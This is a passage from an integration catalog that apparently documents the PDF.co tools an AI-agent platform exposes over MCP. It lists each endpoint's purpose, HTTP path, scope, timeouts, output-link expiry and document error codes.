Scopes: api. ================================================================================ ## PDF.co URL: https://www.agenticfabriq.com/integrations/pdfco Section: Integrated Tools PDF.co — 68 MCP tools Provider key: pdfco. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. pdfco_get_v1_account_credit_balance (read) — Get Account Balance Info via GET /v1/account/credit/balance. GET /api/v1/pdfco/v1/account/credit/balance. Scopes: api. pdfco_get_v1_file_upload_get_presigned_url (read) — Generate Pre-signed URL via GET /v1/file/upload/get-presigned-url. This method generates links to upload your local file to. Use this presignedUrl from the response to upload your file. Once you upload your file to this presignedUrl using PUT, you can use the url link to access the uploaded file. GET /api/v1/pdfco/v1/file/upload/get-presigned-url. Scopes: api. pdfco_get_v1_file_upload_url (read) — Upload File from URL (GET) via GET /v1/file/upload/url. Downloads file from a source url and uploads it as a temporary file. Temporary files are automatically permanently removed after 1 hour. GET /api/v1/pdfco/v1/file/upload/url. Scopes: api. pdfco_get_v1_pdf_documentparser_templates (read) — List All Templates via GET /v1/pdf/documentparser/templates. Returns all **Document Parser** data extraction templates available to the current user. GET /api/v1/pdfco/v1/pdf/documentparser/templates. Scopes: api. pdfco_get_v1_pdf_documentparser_templates_by_id (read) — Retrieve Template by ID via GET /v1/pdf/documentparser/templates/{id}. Returns detailed information for document parser template by template’s id. GET /api/v1/pdfco/v1/pdf/documentparser/templates/{id}. Scopes: api. pdfco_get_v1_templates_html (read) — Return All Templates via GET /v1/templates/html. Return all HTML templates for the current user. GET /api/v1/pdfco/v1/templates/html. Scopes: api. pdfco_get_v1_templates_html_by_id (read) — Return HTML Template by ID via GET /v1/templates/html/{id}. Returns HTML template by template’s id. GET /api/v1/pdfco/v1/templates/html/{id}. Scopes: api. pdfco_post_v1_ai_invoice_parser (write) — AI Invoice Parser via POST /v1/ai-invoice-parser. Process invoices faster than ever by extracting data and structuring it automatically with our advanced AI. Get quick and accurate data from any invoice, no matter the layout. POST /api/v1/pdfco/v1/ai-invoice-parser. Scopes: api. pdfco_post_v1_barcode_generate (write) — Barcodes Generator via POST /v1/barcode/generate. Generate high quality barcode images. Supports QR Code, Datamatrix, Code 39, Code 128, PDF417 and many other barcode types. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/barcode/generate. Scopes: api. pdfco_post_v1_barcode_read_from_url (write) — Barcodes Reader via POST /v1/barcode/read/from/url. Read barcodes from images and PDF. Can read all popular barcode types from QR Code and Code 128, EAN to Datamatrix, PDF417, GS1 and many other barcodes. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. POST /api/v1/pdfco/v1/barcode/read/from/url. Scopes: api. pdfco_post_v1_email_decode (write) — Extract Data from Email File via POST /v1/email/decode. Decode an email message to extract its components. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. POST /api/v1/pdfco/v1/email/decode. Scopes: api. pdfco_post_v1_email_extract_attachments (write) — Extract Email Attachment via POST /v1/email/extract-attachments. Extract attachments from an email. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. POST /api/v1/pdfco/v1/email/extract-attachments. Scopes: api. pdfco_post_v1_email_send (write) — Send Email with File via POST /v1/email/send. Send an email. An email can be with or without attachment. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/email/send. Scopes: api. pdfco_post_v1_file_delete (write, destructive) — Delete Temporary File via POST /v1/file/delete. Deletes temporary file (that was uploaded by you or generated by API). POST /api/v1/pdfco/v1/file/delete. Scopes: api. pdfco_post_v1_file_hash (write) — Get MD5 Hash of File by URL via POST /v1/file/hash. Calculate and return MD5 hash of file by url. Commonly used to control if the source document has been changed or not because every little change will cause hash string to differ as well. POST /api/v1/pdfco/v1/file/hash. Scopes: api. pdfco_post_v1_file_upload (write) — Upload Small File via POST /v1/file/upload. WITHHELD: PDF.co's Upload Small File takes a local file as multipart/form-data (its documented request is `--form 'file=@/path/to/file'`), which a JSON tool call cannot carry. Use pdfco_post_v1_file_upload_base64 (base64 content, requests up to 4 MB), pdfco_post_v1_file_upload_url (a public URL) or pdfco_get_v1_file_upload_get_presigned_url instead. POST /api/v1/pdfco/v1/file/upload. Scopes: api. pdfco_post_v1_file_upload_base64 (write) — Upload File Using Base64 via POST /v1/file/upload/base64. Creates a temporary file using base64 source data. You may use this temporary file URL with other API methods. Temporary files are automatically permanently removed after 1 hour. PDF.co refuses request bodies over 4 MB. POST /api/v1/pdfco/v1/file/upload/base64. Scopes: api. pdfco_post_v1_file_upload_url (write) — Upload File from URL (POST) via POST /v1/file/upload/url. Downloads file from a source url and uploads it as a temporary file. Temporary files are automatically permanently removed after 1 hour. POST /api/v1/pdfco/v1/file/upload/url. Scopes: api. pdfco_post_v1_job_check (write) — Background & Job Check via POST /v1/job/check. Checks the [status](/api/job-check#available-status-values) of a background job that was previously created with PDF.co API. Use this API to check the status of your asynchronous API calls. POST /api/v1/pdfco/v1/job/check. Scopes: api. pdfco_post_v1_pdf_attachments_extract (write) — Extract Attachment via POST /v1/pdf/attachments/extract. Extracts attachments from a PDF file. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/attachments/extract. Scopes: api. pdfco_post_v1_pdf_classifier (write) — Document Classifier via POST /v1/pdf/classifier. Automatically find class of input PDF, JPG, PNG document by analyzing its content using the built-in AI or custom defined classification rules. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/classifier. Scopes: api. pdfco_post_v1_pdf_convert_from_csv (write) — PDF from CSV via POST /v1/pdf/convert/from/csv. Convert CSV, XLS, XLSX files into PDF. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/pdf/convert/from/csv. Scopes: api. pdfco_post_v1_pdf_convert_from_doc (write) — PDF from DOC via POST /v1/pdf/convert/from/doc. Convert DOC, DOCX, RTF, TXT, XPS files into PDF. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/pdf/convert/from/doc. Scopes: api. pdfco_post_v1_pdf_convert_from_email (write) — PDF from Email via POST /v1/pdf/convert/from/email. Convert email files (.msg or .eml) code into PDF. Extract attachments (if any) from input email and embeds into PDF as PDF attachments. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/pdf/convert/from/email. Scopes: api. pdfco_post_v1_pdf_convert_from_html (write) — PDF from HTML via POST /v1/pdf/convert/from/html. Convert HTML into PDF. This method will process any JavaScript which the webpage triggers when it loads. For example if the the webpage triggers a JavaScript popup window then that will be included in the conversion process. There is no option to disable JavaScript on the supplied HTML page. Send either `html` (the HTML to render) or `templateid` with `templatedata` (a saved HTML template and its JSON data, as a string); PDF.co answers 400 'At least one param is required: html or templateId' to neither. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. PDF.co refuses request bodies over 4 MB. POST /api/v1/pdfco/v1/pdf/convert/from/html. Scopes: api. pdfco_post_v1_pdf_convert_from_image (write) — PDF from Image via POST /v1/pdf/convert/from/image. Convert JPG, PNG, TIFF image formats into PDF. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/pdf/convert/from/image. Scopes: api. pdfco_post_v1_pdf_convert_from_url (write) — PDF from URL via POST /v1/pdf/convert/from/url. Convert URL into PDF. This method will process any JavaScript which the webpage triggers when it loads. For example if the the webpage triggers a JavaScript popup window then that will be included in the conversion process. There is no option to disable JavaScript on the supplied HTML page. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/pdf/convert/from/url. Scopes: api. pdfco_post_v1_pdf_convert_to_csv (write) — PDF to CSV via POST /v1/pdf/convert/to/csv. Convert PDF and scanned images into CSV representation with layout, columns, rows, and tables. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/convert/to/csv. Scopes: api. pdfco_post_v1_pdf_convert_to_html (write) — PDF to HTML via POST /v1/pdf/convert/to/html. Convert PDF and scanned images into HTML representation with text, fonts, images, vectors, formatting preserved. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/convert/to/html. Scopes: api. pdfco_post_v1_pdf_convert_to_jpg (write) — PDF to JPG via POST /v1/pdf/convert/to/jpg. Convert PDF to JPEG image with high quality rendering. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/convert/to/jpg. Scopes: api. pdfco_post_v1_pdf_convert_to_json2 (write) — PDF to JSON via POST /v1/pdf/convert/to/json2. Convert PDF and scanned images into JSON representation with text, fonts, images, vectors, and formatting preserved. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/convert/to/json2. Scopes: api. pdfco_post_v1_pdf_convert_to_json_meta (write) — PDF to JSON with AI via POST /v1/pdf/convert/to/json-meta. Convert PDF and scanned images into JSON using AI. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/convert/to/json-meta. Scopes: api. pdfco_post_v1_pdf_convert_to_png (write) — PDF to PNG via POST /v1/pdf/convert/to/png. Convert PDF to PNG image with high quality rendering. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/convert/to/png. Scopes: api. pdfco_post_v1_pdf_convert_to_text (write) — PDF to Text via POST /v1/pdf/convert/to/text. Convert PDF and scanned images to text with layout preserved. This method uses OCR and reporoduces layout. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/convert/to/text. Scopes: api. pdfco_post_v1_pdf_convert_to_text_simple (write) — PDF to Text (Simple) via POST /v1/pdf/convert/to/text-simple. This endpoint works faster and requires fewer credits as it is not using AI-powered layout analysis, OCR support, and also has no support for profiles for fine-tuning. For advanced conversion with layout analysis, OCR (for scanned pages), PDF repair, and other features please use the [PDF to Text](/api/pdf-to-text/basic) endpoint instead. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/convert/to/text-simple. Scopes: api. pdfco_post_v1_pdf_convert_to_tiff (write) — PDF to TIFF via POST /v1/pdf/convert/to/tiff. Convert PDF to TIFF image with high quality rendering. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/convert/to/tiff. Scopes: api. pdfco_post_v1_pdf_convert_to_webp (write) — PDF to WEBP via POST /v1/pdf/convert/to/webp. Convert PDF to WebP image with high quality rendering. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/convert/to/webp. Scopes: api. pdfco_post_v1_pdf_convert_to_xls (write) — PDF to XLS via POST /v1/pdf/convert/to/xls. Convert PDF to Excel(.xls) with layout and fonts preserved. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/convert/to/xls. Scopes: api. pdfco_post_v1_pdf_convert_to_xlsx (write) — PDF to XLSX via POST /v1/pdf/convert/to/xlsx. Convert PDF to Excel(.xlsx) with layout and fonts preserved. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/convert/to/xlsx. Scopes: api. pdfco_post_v1_pdf_convert_to_xml (write) — PDF to XML via POST /v1/pdf/convert/to/xml. Convert PDF to XML with information about text value, tables, fonts, images, objects positions. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/convert/to/xml. Scopes: api. pdfco_post_v1_pdf_documentparser (write) — Parse Document via POST /v1/pdf/documentparser. This API method extracts data from documents based on a document parser extraction template. With this API method, you can extract data from custom areas by searching form fields, tables, multiple pages, and more. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/documentparser. Scopes: api. pdfco_post_v1_pdf_edit_add (write) — PDF Add via POST /v1/pdf/edit/add. Add text, images, forms, other PDFs, fill forms, links to external sites and external PDF files. You can update or modify PDF and scanned PDF files. Send at least one of `annotations`, `images` or `fields` (or their `...String` forms); PDF.co answers 400 'No annotations, images, or fields are specified.' otherwise. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. PDF.co refuses request bodies over 4 MB. POST /api/v1/pdfco/v1/pdf/edit/add. Scopes: api. pdfco_post_v1_pdf_edit_delete_pages (write) — PDF Delete Pages via POST /v1/pdf/edit/delete-pages. Deletes selected pages inside a PDF file. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/edit/delete-pages. Scopes: api. pdfco_post_v1_pdf_edit_delete_text (write) — PDF Search and Delete Text via POST /v1/pdf/edit/delete-text. Delete text from the PDF document with search strings. Send `searchstring` (one string) or a non-empty `searchstrings` (both spellings are accepted here, measured); PDF.co answers 400 'SearchStrings should contain at least one record' to neither and to an empty array. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/edit/delete-text. Scopes: api. pdfco_post_v1_pdf_edit_replace_text (write) — Search and Replace with Text via POST /v1/pdf/edit/replace-text. Replaces text in a PDF file with a new text. Send `searchstring` (one string) or a non-empty `searchstrings` (both spellings are accepted here, measured); PDF.co answers 400 'SearchStrings should contain at least one record' to neither and to an empty array. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/edit/replace-text. Scopes: api. pdfco_post_v1_pdf_edit_replace_text_with_image (write) — Search and Replace with Image via POST /v1/pdf/edit/replace-text-with-image. Modify a PDF file by searching for specific text and replacing it with an image. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/edit/replace-text-with-image. Scopes: api. pdfco_post_v1_pdf_edit_rotate (write) — Rotate Selected Pages via POST /v1/pdf/edit/rotate. Rotates selected pages inside a PDF file. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/edit/rotate. Scopes: api. pdfco_post_v1_pdf_edit_rotate_auto (write) — Auto-rotate Pages with AI via POST /v1/pdf/edit/rotate/auto. Uses AI to automatically fix the rotation of pages inside scanned PDF based on text analysis. To change text language change the lang parameter (eng by default). Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/edit/rotate/auto. Scopes: api. pdfco_post_v1_pdf_find (write) — PDF Find Text via POST /v1/pdf/find. Find text in PDF and get coordinates. Supports regular expressions. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/find. Scopes: api. pdfco_post_v1_pdf_find_table (write) — Find Text in Table with AI via POST /v1/pdf/find/table. AI powered document analysis can scan your document for tables and return the array of tables on pages with coordinates and information about columns detected in these tables. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/find/table. Scopes: api. pdfco_post_v1_pdf_info (write) — PDF Info Reader via POST /v1/pdf/info. Get detailed information about a PDF document, it’s properties and security permissions. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/info. Scopes: api. pdfco_post_v1_pdf_info_fields (write) — PDF Forms Info Reader via POST /v1/pdf/info/fields. Get information about fillable form fields inside a PDF file. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/info/fields. Scopes: api. pdfco_post_v1_pdf_makesearchable (write) — Make Text Searchable via POST /v1/pdf/makesearchable. This method converts scanned PDF documents (where pages are fully or partially made from scanned images) or image files into a text-searchable PDF. It runs OCR and adds an invisible text layer on top of your document that can be used for text search, text indexing, etc. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/makesearchable. Scopes: api. pdfco_post_v1_pdf_makeunsearchable (write) — Make Text Unsearchable via POST /v1/pdf/makeunsearchable. This method converts PDF files into a "text unsearchable" version by converting your PDF into a "scanned" PDF file which is effectively a flat image. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/makeunsearchable. Scopes: api. pdfco_post_v1_pdf_merge (write) — Merge PDF via POST /v1/pdf/merge. Merge multiple PDF files into a single PDF document. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/pdf/merge. Scopes: api. pdfco_post_v1_pdf_merge2 (write) — Merge Various Document Type via POST /v1/pdf/merge2. Merge PDF from two or more PDF, DOC, XLS, images, even ZIP with documents and images into a new PDF. This Merge 2 endpoint is similar to [Merge PDF](/api/merge/pdf) but it also supports `zip`, `doc`, `docx`, `xls`, `xlsx`, `rtf`, `txt`, `png`, `jpg` files as source. This Merge2 endpoint also consumes more credits than [Merge PDF](/api/merge/pdf) because of the internal conversions. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/pdf/merge2. Scopes: api. pdfco_post_v1_pdf_optimize (write) — PDF Optimize (Retired) via POST /v1/pdf/optimize. WITHHELD: PDF.co has retired PDF Optimize (the spec marks it deprecated: 'Retired. Use PDF Compress (POST /v2/pdf/compress) instead.'). Use pdfco_post_v2_pdf_compress. POST /api/v1/pdfco/v1/pdf/optimize. Scopes: api. pdfco_post_v1_pdf_security_add (write) — Add Password to PDF via POST /v1/pdf/security/add. Add password and security limitations to PDF. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/pdf/security/add. Scopes: api. pdfco_post_v1_pdf_security_remove (write) — Remove Password from PDF via POST /v1/pdf/security/remove. Remove existing limits and password from PDF file. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/security/remove. Scopes: api. pdfco_post_v1_pdf_split (write) — Split PDF via POST /v1/pdf/split. Split a PDF into multiple PDF files using page indexes or page ranges. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/split. Scopes: api. pdfco_post_v1_pdf_split2 (write) — Split PDF by Text Search via POST /v1/pdf/split2. Split a PDF into multiple PDF files using page indexes or page ranges. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v1/pdf/split2. Scopes: api. pdfco_post_v1_xls_convert_to_csv (write) — Excel to CSV via POST /v1/xls/convert/to/csv. Converts a xls/xlsx file to csv. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/xls/convert/to/csv. Scopes: api. pdfco_post_v1_xls_convert_to_html (write) — Excel to HTML via POST /v1/xls/convert/to/html. Converts a xls/xlsx/csv file to html. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/xls/convert/to/html. Scopes: api. pdfco_post_v1_xls_convert_to_json (write) — Excel to JSON via POST /v1/xls/convert/to/json. Converts a xls/xlsx/csv file to json. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/xls/convert/to/json. Scopes: api. pdfco_post_v1_xls_convert_to_pdf (write) — Excel to PDF via POST /v1/xls/convert/to/pdf. Converts a xls/xlsx/csv file to pdf. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/xls/convert/to/pdf. Scopes: api. pdfco_post_v1_xls_convert_to_txt (write) — Excel to Text via POST /v1/xls/convert/to/txt. Converts a xls/xlsx/csv file to text. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/xls/convert/to/txt. Scopes: api. pdfco_post_v1_xls_convert_to_xml (write) — Excel to XML via POST /v1/xls/convert/to/xml. Converts a xls/xlsx/csv file to xml. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. POST /api/v1/pdfco/v1/xls/convert/to/xml. Scopes: api. pdfco_post_v2_pdf_compress (write) — PDF Compress via POST /v2/pdf/compress. Compress PDF files to reduce their size. Sync calls time out after 30 s (HTTP 445); for large files set async=true and poll pdfco_post_v1_job_check. Output links expire after 60 minutes unless `expiration` says otherwise. Document errors: 441 